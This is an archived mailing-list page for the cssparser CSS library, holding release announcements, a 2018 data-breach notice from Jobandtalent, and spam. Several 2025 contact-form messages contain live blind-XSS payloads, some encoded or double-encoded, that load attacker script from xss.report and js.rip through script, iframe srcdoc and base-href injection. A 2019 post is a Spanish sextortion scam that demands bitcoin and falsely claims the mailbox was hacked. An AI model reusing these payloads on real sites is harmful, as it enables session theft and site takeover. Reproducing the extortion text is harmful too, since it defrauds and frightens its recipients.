You can subscribe to this list here.
2008 |
Jan
|
Feb
|
Mar
(33) |
Apr
|
May
(1) |
Jun
|
Jul
|
Aug
(3) |
Sep
|
Oct
|
Nov
(17) |
Dec
|
---|---|---|---|---|---|---|---|---|---|---|---|---|
2009 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
(1) |
Dec
|
2011 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
(6) |
Jul
(4) |
Aug
(2) |
Sep
(5) |
Oct
(2) |
Nov
(2) |
Dec
|
2012 |
Jan
(1) |
Feb
|
Mar
|
Apr
(1) |
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2013 |
Jan
|
Feb
|
Mar
(2) |
Apr
|
May
(2) |
Jun
|
Jul
|
Aug
|
Sep
(5) |
Oct
(1) |
Nov
|
Dec
(1) |
2014 |
Jan
(2) |
Feb
|
Mar
(1) |
Apr
(1) |
May
(1) |
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2015 |
Jan
|
Feb
|
Mar
(1) |
Apr
|
May
|
Jun
(1) |
Jul
|
Aug
(3) |
Sep
|
Oct
(1) |
Nov
|
Dec
|
2016 |
Jan
|
Feb
|
Mar
(3) |
Apr
|
May
(1) |
Jun
|
Jul
(1) |
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2017 |
Jan
(2) |
Feb
(1) |
Mar
|
Apr
|
May
(5) |
Jun
(1) |
Jul
|
Aug
|
Sep
|
Oct
(1) |
Nov
|
Dec
|
2018 |
Jan
(1) |
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
(2) |
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2019 |
Jan
|
Feb
|
Mar
(1) |
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
(1) |
Nov
|
Dec
|
2020 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
(1) |
Nov
(1) |
Dec
|
2022 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
(1) |
2025 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
(1) |
Sep
(5) |
Oct
|
Nov
|
Dec
|
From: Future M. <no...@fu...> - 2025-09-24 02:18:32
|
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"> <html><body><p>Name: <br>Email: <a href="mailto:mah...@gm...">mah...@gm...</a><br>Message: [#94929] %20%22%3E%3CNOSCRIPT%3E%3Cp%20title%3D%22%3C%2FNOSCRIPT%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss.report%2Fc%2Fdramahi%3E%3C%2Fscript%3E<br><img src="https://futuremetals.com/wp-json/wp-mail-smtp/v1/e/ZGF0YSU1QmVtYWlsX2xvZ19pZCU1RD00MDcyMjImZGF0YSU1QmV2ZW50X3R5cGUlNUQ9b3Blbi1lbWFpbCZoYXNoPTRkMGJmNjYwN2E3MGU3NTdjMWE5YTMyNGRlMTQwNTEyMmNkNmEyZTUyYjI4NTkyMmM4ZjFmMWIxOTRhOTlhMzI=" alt=""></p><img src="https://u36618016.ct.sendgrid.net/wf/open?upn=u001.BdkEpQnC7T-2BaKJqvKYYJNr3DzkmSFGRB1NfV6FHYbQ3Xe9mFcxhgABFTb2vd5GZhKKJ37rs5sxJnC6yp4xOwC3dVML2kJ8bd7LK6lydGcrNNnoaDd8ZlIopoURUrokuZ0TQfEpyn5BymhDBuHp6BBVasLlCYvgsWwQLhUejjfE-2FU1T2906ZZi-2BJ2iTMr82wWKbUKfK4lTE1BR6vRXvq6Bjc-2B25rEjV3w1QiI9IyXGs3kMPgQ3Wzryyxp6W64vZJW" alt="" width="1" height="1" border="0" style="height:1px !important;width:1px !important;border-width:0 !important;margin-top:0 !important;margin-bottom:0 !important;margin-right:0 !important;margin-left:0 !important;padding-top:0 !important;padding-bottom:0 !important;padding-right:0 !important;padding-left:0 !important;"/></body></html> |
From: Future M. <no...@fu...> - 2025-09-23 14:58:52
|
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"> <html><body><p>Name: <br>Email: <a href="mailto:mah...@gm...">mah...@gm...</a><br>Message: \'\"<script type='\"module\"' src="%5C%22https://xss.report/c/dramahi%5C%22"></script><br><img src="https://futuremetals.com/wp-json/wp-mail-smtp/v1/e/ZGF0YSU1QmVtYWlsX2xvZ19pZCU1RD0zMTU4OTMmZGF0YSU1QmV2ZW50X3R5cGUlNUQ9b3Blbi1lbWFpbCZoYXNoPTc5MzVhYzIwY2U4NzhjY2E2MzMwY2Y0MjNiMDU0ODExM2IzMTdmZDM1YmM4MDhiYTU1ZjNhYmRlMzBjNWViMmE=" alt=""></p><img src="https://u36618016.ct.sendgrid.net/wf/open?upn=u001.BdkEpQnC7T-2BaKJqvKYYJNr3DzkmSFGRB1NfV6FHYbQ3Xe9mFcxhgABFTb2vd5GZh3bPr6Ny4eCmBF5ILbQgNzdlDM5t2N-2B4y7pLpmB3i2MuWw6RngTd0mBEaatb2lt-2BNH2ATiFtsRyBD-2BtYNtQFUhDuoKXIRm-2BNGYz-2FrIuMFF4mQHMaf1IJz7Nl06T-2BWxkLvY8924lGOIxWmIyaSvFZavnjd8cC4FY-2Bd-2BCSVV03V7kE-2BW-2FAaAZ9tkhrPAwt40Zd4" alt="" width="1" height="1" border="0" style="height:1px !important;width:1px !important;border-width:0 !important;margin-top:0 !important;margin-bottom:0 !important;margin-right:0 !important;margin-left:0 !important;padding-top:0 !important;padding-bottom:0 !important;padding-right:0 !important;padding-left:0 !important;"/></body></html> |
Name: <br/>Email: mah...@gm...<br/>Message: %253C%252Fscript%253E%253CIframe%2520SrcDoc%253D%2522%253E%253Cscript%2520src%253Dhttps%253A%252F%252Fxss.report%252Fc%252Fdramahi%253E%253C%252Fscript%253E%2522%253E<br/> <img src="http://7h2p.mjt.lu/oo/BAAAB5CqUnsAAAAAAAAAALULXOQAAYCsLX0AAAAAAAr51gBozW7PlDiEfNwQRtaY6qpqFtPAjwAK9lc/93a0f19a/e.gif" height="1" width="1" alt="" border="0" style="height:1px;width:1px;border:0;"/> |
From: EMX A. C. S. <no-...@em...> - 2025-09-11 16:47:02
|
Name: <br/>Email: mah...@gm...<br/>Message: \"><base href=//js.rip/8zylwtg3ue> %22%3E%3Cbase%20href%3D%2F%2Fjs.rip/8zylwtg3ue%3E "><base href=//js.rip/8zylwtg3ue><br/> |
From: WordPress <wor...@pr...> - 2025-09-03 02:38:36
|
Name: <br/>Email: mah...@gm...<br/>Message: Can you tell me how to resolve?<br/> |
From: Ronald B. <rb...@rb...> - 2022-12-28 12:24:15
|
Version 0.9.30 has been released to Maven and SourceForge download. This is only a small bugfix release. Please have a look at the release notes (http://cssparser.sourceforge.net/changes-report.html#a0.9.30) for details. If you like to get news about the latest development you can have a look at out twitter page https://twitter.com/HtmlUnit Enjoy css parsing. RBRi -------------------------- Wetator Smart web application testing http://www.wetator.org |
From: Ronald B. <rb...@rb...> - 2020-11-07 13:30:22
|
Version 0.9.28 has been released to Maven and SourceForge download. This release brings support for more dimensions (CSS3) a new CSSFormat option to use single quotes instead of double quotes and an bugfix for the calc parser. Please have a look at the release notes (http://cssparser.sourceforge.net/changes-report.html#a0.9.29) for details. If you like to get news about the latest development you can have a look at out twitter page https://twitter.com/HtmlUnit Enjoy css parsing. RBRi -------------------------- Wetator Smart web application testing http://www.wetator.org |
From: Ronald B. <rb...@rb...> - 2020-10-07 17:55:38
|
Version 0.9.28 has been released to Maven and SourceForge download. Based on Christian Morgner's patches we have now var() and calc() support. The minimum JDK version is updated to 1.8. Please have a look at the release notes (http://cssparser.sourceforge.net/changes-report.html#a0.9.28) for details. If you like to get news about the latest development you can have a look at out twitter page https://twitter.com/HtmlUnit Enjoy css parsing. RBRi -------------------------- Wetator Smart web application testing http://www.wetator.org |
From: <css...@li...>
<css...@li...> - 2019-10-30 12:14:29
|
Hola...!<br /> <br /> Soy Jams Ancheta de Darknet.<br /> Hackee este buzon hace mas de nueve meses,<br /> a traves de el, infecte su computadora con un virus (troyano) creado por mi y usted ha sido monitoreado por mi durante mucho tiempo.<br /> <br /> No me crees Verifique (de la direccion) en su encabezado, vera que este correo electronico fue enviado a traves de su propio buzon. (css...@li...)<br /> <br /> No importa si ha cambiado su contrasena posteriormente, mi codigo intercepto todos los datos de almacenamiento en cache en su sistema y me otorgo el acceso automaticamente.<br /> <br /> Accedi a todas sus cuentas, redes sociales, correo electronico, historial de navegacion.<br /> Ademas, tengo los datos de todos tus contactos, archivos de tu computadora, fotos y videos.<br /> <br /> Honestamente, me impresionaron mucho los sitios de contenido intimo que visitas ocasionalmente.<br /> Te digo que tienes una imaginacion muy salvaje!<br /> <br /> Tome una captura de pantalla a traves de la camara de su dispositivo durante su pasatiempo y entretenimiento y logre sincronizarlos con lo que esta viendo.<br /> Oh Dios mio! Eres tan gracioso y emocionado!<br /> <br /> Estoy seguro de que no quieres que todos tus contactos obtengan estos archivos, verdad?<br /> Si usted es de la misma opinion, entonces creo que 600 EURO es un precio bastante justo para destruir la suciedad que cree.<br /> <br /> Simplemente envie la cantidad anterior en mi billetera BTC (bitcoin): 18dKLPBLmBuMR4XchAE94qZihngNLqGSLN<br /> Cuando recibo las monedas, garantizo absolutamente que los datos recopilados se eliminaran, no los necesito.<br /> <br /> De lo contrario, estos archivos y el historial de sitios visitados se enviaran a todos sus contactos desde su dispositivo.<br /> <br /> Despues de leer este correo, tendras 30 horas!<br /> Recibire una notificacion automatica de que has visto este mensaje.<br /> <br /> Espero haberte ensenado una buena leccion.<br /> No sea tan indiferente, visite solo los recursos comprobados y no ingrese sus contrasenas en ningun lugar.<br /> Buena suerte! |
From: Ronald B. <rb...@rb...> - 2019-03-23 09:00:10
|
Version 0.9.27 has been released to Maven and SourceForge download. Did only a small bugfix. Please have a look at the release notes (http://cssparser.sourceforge.net/changes-report.html#a0.9.27) for details. If you like to get news about the latest development you can have a look at out twitter page https://twitter.com/HtmlUnit Enjoy css parsing. RBRi -------------------------- Wetator Smart web application testing http://www.wetator.org |
From: Ronald B. <rb...@rb...> - 2018-07-22 09:12:32
|
Version 0.9.26 has been released to Maven and SourceForge download. Did only some code cleanup. Please have a look at the release notes (http://cssparser.sourceforge.net/changes-report.html#a0.9.26) for details. If you like to get news about the latest development you can have a look at out twitter page https://twitter.com/HtmlUnit Enjoy css parsing. RBRi -------------------------- Wetator Smart web application testing http://www.wetator.org |
From: Jobandtalent <no-...@jo...> - 2018-07-11 14:23:17
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent'> <head style='margin:0;padding:0;font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif'> <meta name="viewport" content="width=device-width" style='margin:0;padding:0;font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif'> <meta name="format-detection" content="telephone=no" style='margin:0;padding:0;font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif'> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" style='margin:0;padding:0;font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif'> <title style='margin:0;padding:0;font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif'>Jobandtalent mail</title> <style type="text/css" style='margin:0;padding:0;font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif'>#outlook a { padding:0; } body.outlook p { display: inline !important; } body{ width:100% !important; min-width: 100%; -webkit-text-size-adjust:100%; -ms-text-size-adjust:100%; margin: 0; padding: 0; } .ExternalClass { width:100%; } .ExternalClass, .ExternalClass p, .ExternalClass span, .ExternalClass font, .ExternalClass td, .ExternalClass div { line-height: 100%; } #backgroundTable { margin:0; padding:0; width:100% !important; line-height: 100% !important; } img { outline:none; text-decoration:none; -ms-interpolation-mode: bicubic; width: auto; max-width: 100%; float: left; clear: both; display: block; } center { width: 100%; min-width: 580px; } a img { border: none; } table { border-spacing: 0; border-collapse: collapse; } td { word-break: break-word; -webkit-hyphens: auto; -moz-hyphens: auto; hyphens: auto; border-collapse: collapse !important; } table, tr, td { padding: 0; vertical-align: top; text-align: left; } /* Media Queries */ table[class="body"] .container { margin-top: 40px !important; margin-bottom: 40px !important; } @media only screen and (max-width: 600px) { table[class="body"] table[class='header'] { width: 95% !important; margin: 0 auto; } table[class="body"] center { min-width: 0 !important; } table[class="body"] .container { width: 100% !important; margin: 0 auto !important; } table[class="body"] .email_wrapper{ width: 100% !important; margin: 0 auto; } table[class="body"] .email_main_content{ width: 95% !important; margin: 0 auto; } table[class="body"] .row { width: 100% !important; display: block !important; } table[class="body"] .wrapper { display: block !important; padding-right: 0 !important; } table[class="body"] .columns, table[class="body"] .column { table-layout: fixed !important; float: none !important; width: 100% !important; padding-right: 0px !important; padding-left: 0px !important; display: block !important; } table[class="body"] .wrapper.first .columns, table[class="body"] .wrapper.first .column { display: table !important; } table[class="body"] table.columns td, table[class="body"] table.column td { width: 100% !important; } table[class="body"] .footer { width:100%!important; } table[class="body"] .columns td.one, table[class="body"] .column td.one { width: 8.333333% !important; } table[class="body"] .columns td.two, table[class="body"] .column td.two { width: 16.666666% !important; } table[class="body"] .columns td.three, table[class="body"] .column td.three { width: 25% !important; } table[class="body"] .columns td.four, table[class="body"] .column td.four { width: 33.333333% !important; } table[class="body"] .columns td.five, table[class="body"] .column td.five { width: 41.666666% !important; } table[class="body"] .columns td.six, table[class="body"] .column td.six { width: 50% !important; } table[class="body"] .columns td.seven, table[class="body"] .column td.seven { width: 58.333333% !important; } table[class="body"] .columns td.eight, table[class="body"] .column td.eight { width: 66.666666% !important; } table[class="body"] .columns td.nine, table[class="body"] .column td.nine { width: 75% !important; } table[class="body"] .columns td.ten, table[class="body"] .column td.ten { width: 83.333333% !important; } table[class="body"] .columns td.eleven, table[class="body"] .column td.eleven { width: 91.666666% !important; } table[class="body"] .columns td.twelve, table[class="body"] .column td.twelve { width: 100% !important; } table[class="body"] td.offset-by-one, table[class="body"] td.offset-by-two, table[class="body"] td.offset-by-three, table[class="body"] td.offset-by-four, table[class="body"] td.offset-by-five, table[class="body"] td.offset-by-six, table[class="body"] td.offset-by-seven, table[class="body"] td.offset-by-eight, table[class="body"] td.offset-by-nine, table[class="body"] td.offset-by-ten, table[class="body"] td.offset-by-eleven { padding-left: 0 !important; } table[class="body"] table.columns td.expander { width: 1px !important; } table[class="body"] .right-text-pad, table[class="body"] .text-pad-right { padding-left: 10px !important; } table[class="body"] .left-text-pad, table[class="body"] .text-pad-left { padding-right: 10px !important; } table[class="body"] .hide-for-small, table[class="body"] .show-for-desktop { display: none !important; } table[class="body"] .show-for-small, table[class="body"] .hide-for-desktop { display: inherit !important; } table[class="body"] .button, table[class="body"] .tiny-button, table[class="body"] .small-button, table[class="body"] .medium-button, table[class="body"] .large-button, { display: block!important; width: 100%!important; } } </style> <style>blockquote:before{content:none} blockquote:after{content:none} q:before{content:none} q:after{content:none} :focus{outline:0} h1 a:active{color:#2ba6cb !important} h2 a:active{color:#2ba6cb !important} h3 a:active{color:#2ba6cb !important} h4 a:active{color:#2ba6cb !important} h5 a:active{color:#2ba6cb !important} h6 a:active{color:#2ba6cb !important} h1 a:visited{color:#2ba6cb !important} h2 a:visited{color:#2ba6cb !important} h3 a:visited{color:#2ba6cb !important} h4 a:visited{color:#2ba6cb !important} h5 a:visited{color:#2ba6cb !important} h6 a:visited{color:#2ba6cb !important}</style></head> <body bgcolor="#E7E6E5" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;line-height:1;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;-webkit-font-smoothing:antialiased;-webkit-text-size-adjust:none;height:100%;font-weight:400;background:#ffffff;width:100% !important'> <table class="body" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;border-collapse:collapse;border-spacing:0;height:100%;width:100%;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px'> <tr style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent'> <td class="center" align="center" valign="top" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;text-align:center'> <center style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent'> <table class="container" bgcolor="#FFFFFF" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;border-collapse:collapse;border-spacing:0;width:690px;margin:0 auto;text-align:inherit'> <tr style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent'> <td class="email_content" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px'> <table class="email_wrapper" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;border-collapse:collapse;border-spacing:0;width:690px;background:#ffffff'> <tr style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent'> <td class="header_container" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;padding:20px 20px 30px'> <table class="header" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;border-collapse:collapse;border-spacing:0'> <tr style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent'> <td style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px'> <img alt="Retina_logo" class="main_logo" src="https://d1y0sdeb1rcztn.cloudfront.net/assets/emails/retina_logo.png" width="75" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;max-width:100%;display:block;width:75px'> </td> </tr> </table> </td> </tr> <tr style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent'> <td style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px'> <table class="email_main_content" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;border-collapse:collapse;border-spacing:0'> <tr style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent'> <td class="email_main_container" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;padding:0 20px 40px 20px'> <div class="data_breach" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent'> <p style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em'>Hello,</p> <p style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em'> We are writing to inform you that a data security problem incident has happened at Jobandtalent. </p> <p style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em'> Our engineering team discovered on July 5, 2018 that an unknown entity accessed our server and may have had access to some limited information about your user (namely email address, first name, last name, and an encrypted version of your password). </p> <p style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em'> Our platform engineers immediately managed to close the source of the threat. They are closely monitoring our platform, and we’ve found no evidence of any recurrence of the incident, nor that any sensible information has been compromised. </p> <p style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em'> Thanks to the great work of our security team, there is only little chance that your data has been compromised. However, for extra security we have already reset your password randomly. </p> <p style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em'> Please change it to the password of your choice by logging-out the Jobandtalent app, or via <a href="http://email.jobandtalent.com/mpss/c/3QA/Xw4DAA/t.2j2/lfxnSC0cR2CL5JuMJiIGzA/h0/po1LqkaE67Q-2FQybsDcijqUMkTBA1U2t2RHMo5bZv9oy3CAqHRBkmo1YZSzW6BfciDYLOzB0ZCOx1rUUIgoYQog-3D-3D" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#2ba6cb;text-decoration:none'>our web</a>. In addition if you were using a similar password on other platforms, we advise you to change it there too. </p> <p class="h2" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em;font-size:18px;font-weight:bold;margin-bottom:12px'> Tips for a strong password: </p> <ul style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;list-style:none;list-style: initial; padding-left: 40px; margin-bottom: 10px'> <li style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent'>Use a password longer than 8 characters</li> <li style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent'>Use special characters and numbers such as '! = - 4 5 8'</li> <li style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent'>Do not use the same password between different platforms</li> </ul> <p style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em'> Ensuring our users data’s safety is our top priority, and we apologize for this incident. On Thursday we already added new layers of security to our platform and we are continuously improving our system. </p> <p style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em;font-style: italic'>Felipe Navio, Co-founder of Jobandtalent</p> <hr style='margin:0;padding:0;font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin-top:1.5em'> <p class="h1" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em;font-size:21px;font-weight:bold;margin-bottom:18px'>FAQ</p> <p class="h2" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em;font-size:18px;font-weight:bold;margin-bottom:12px'>Which data was compromised?</p> <p style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em;margin-top:0em'> The email address, full name, IP and encrypted password of some users may have been compromised. The intruder did not gain access any other type of information.</p> <p class="h2" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em;font-size:18px;font-weight:bold;margin-bottom:12px'>How does this impact me?</p> <p style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em;margin-top:0em'>Someone may have gained access to your email address, full name and an encrypted version of your password which would be very hard to decrypt.</p> <p style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em'>It would be safer to change your password in any other platform where you were using the same password as Jobandtalent.</p> <p class="h2" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida 